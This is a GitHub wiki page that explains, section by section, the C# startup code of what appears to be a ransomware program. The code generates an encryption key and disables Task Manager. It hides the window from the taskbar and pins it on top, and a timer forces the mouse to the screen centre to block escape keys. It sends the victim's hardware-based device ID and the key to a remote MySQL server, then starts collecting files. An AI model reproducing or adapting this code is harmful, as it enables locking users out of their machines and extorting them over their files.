Skip to content

Form1.cs | Form1_Load

HackTheDev edited this page Aug 5, 2021 · 2 revisions

This part of Code is responsible for Checking if an encryption key is set. If not, it will generate a new key with a lengh of 34 characters. If a key was already set, it will display it in a TextBox for testing purposes.

            if(Properties.Settings.Default.key.Length != 34)
            {
                Properties.Settings.Default.key = Crypto.GetRandomString(34);
                Properties.Settings.Default.Save();
                Properties.Settings.Default.Reload();

                write("Generated key: " + Properties.Settings.Default.key);
            }
            else
            {
                write("Key is: " + Properties.Settings.Default.key);
            }

This code block will handle the activation and deactivation of the Task-Manager. It can be toggled in the application settings named disable_taskmgr

// If disable_taskmgr is true, disable task manager. else, enable.
            if (Properties.Settings.Default.disable_taskmgr == true)
            {
                try
                {
                    DisableTaskManager();
                }
                catch (Exception ex)
                {
                    Log(ex.Message, "Form1_Load > DisableTaskManager");
                }
            }
            else
            {
                try
                {
                    EnableTaskManager();
                }
                catch (Exception ex)
                {
                    Log(ex.Message, "Form1_Load > EnableTaskManager");
                }
            }

This is some simple styling for Form1. It will make the application hide from the Taskbar, removes the Form Border (if shown for any reason), will nmot show any icon and is always on top of all Application (in most cases).

The timer1 will move the mouse to the center of the screen. Optionaly every time the mouse is moved you can enable it to also make a mouse click. This can be used as a work around for "disabling" the windows key and some other features like ALT + TAB.

The label1.Text is just setting the application Title inside panel_main.

Last of all the two linces setting the Location of panel_main and label1 is used to center the panel itself and the title with the default text of YOUR TITLE HERE.

            //this.WindowState = FormWindowState.Maximized;
            this.ShowInTaskbar = false;
            this.Text = "";
            this.ShowIcon = false;
            this.TopMost = true;

            timer1.Enabled = true;
            timer1.Start();

            label1.Text = Properties.Settings.Default.application_title;

            panel_main.Location = new Point(this.Width / 2 - panel_main.Width / 2, this.Height / 2 - panel_main.Height / 2);
            label1.Location = new Point(panel_main.Width / 2 - label1.Width / 2, label1.Location.Y);

This section will create a unique Devide ID that will be used later if MySQL was set up and configured.

                string deviceId = new DeviceIdBuilder()
                .AddMachineName()
                .AddProcessorId()
                .AddMotherboardSerialNumber()
                .AddSystemDriveSerialNumber()
                .ToString();

This is the required String used for connecting to the mysql Server below.

string myConnectionString = "SERVER=" + Properties.Settings.Default.db_host + ";" +
                            "DATABASE=" + Properties.Settings.Default.db_database + ";" +
                            "UID=" + Properties.Settings.Default.db_user + ";" +
                            "PASSWORD=" + Properties.Settings.Default.db_pass + ";";

This Code will create a MySQL connection if it was enabled in the project's settings named "db_enable". If enabled, it will Insert the generated Device ID and Encryption Key into the Database Server specified in the "myConnectionString".

if(Properties.Settings.Default.db_enable == true)
            {
                try
                {
                    MySqlConnection connection = new MySqlConnection(myConnectionString);
                    MySqlCommand command = connection.CreateCommand();
                    command.CommandText = "INSERT INTO machine (deviceID,pass) VALUES ('" + deviceId + "', '" + Properties.Settings.Default.key + "')";
                    MySqlDataReader Reader;
                    connection.Open();
                    Reader = command.ExecuteReader();
                    while (Reader.Read())
                    {
                        string row = "";
                        for (int i = 0; i < Reader.FieldCount; i++)
                            row += Reader.GetValue(i).ToString() + ", ";
                        Console.WriteLine(row);
                    }
                    connection.Close();
                }
                catch (Exception ex)
                {
                    if (ex.Message.Contains("DUPLICATE"))
                    {

                    }
                    else
                    {
                        MessageBox.Show(ex.Message);
                    }
                }
            }

This will create a new Thread/Task to get all Files from Directories and sub-Directories to increase Application Speed and keeping the UI-Thread responsive.

Task.Run(() => GetFiles());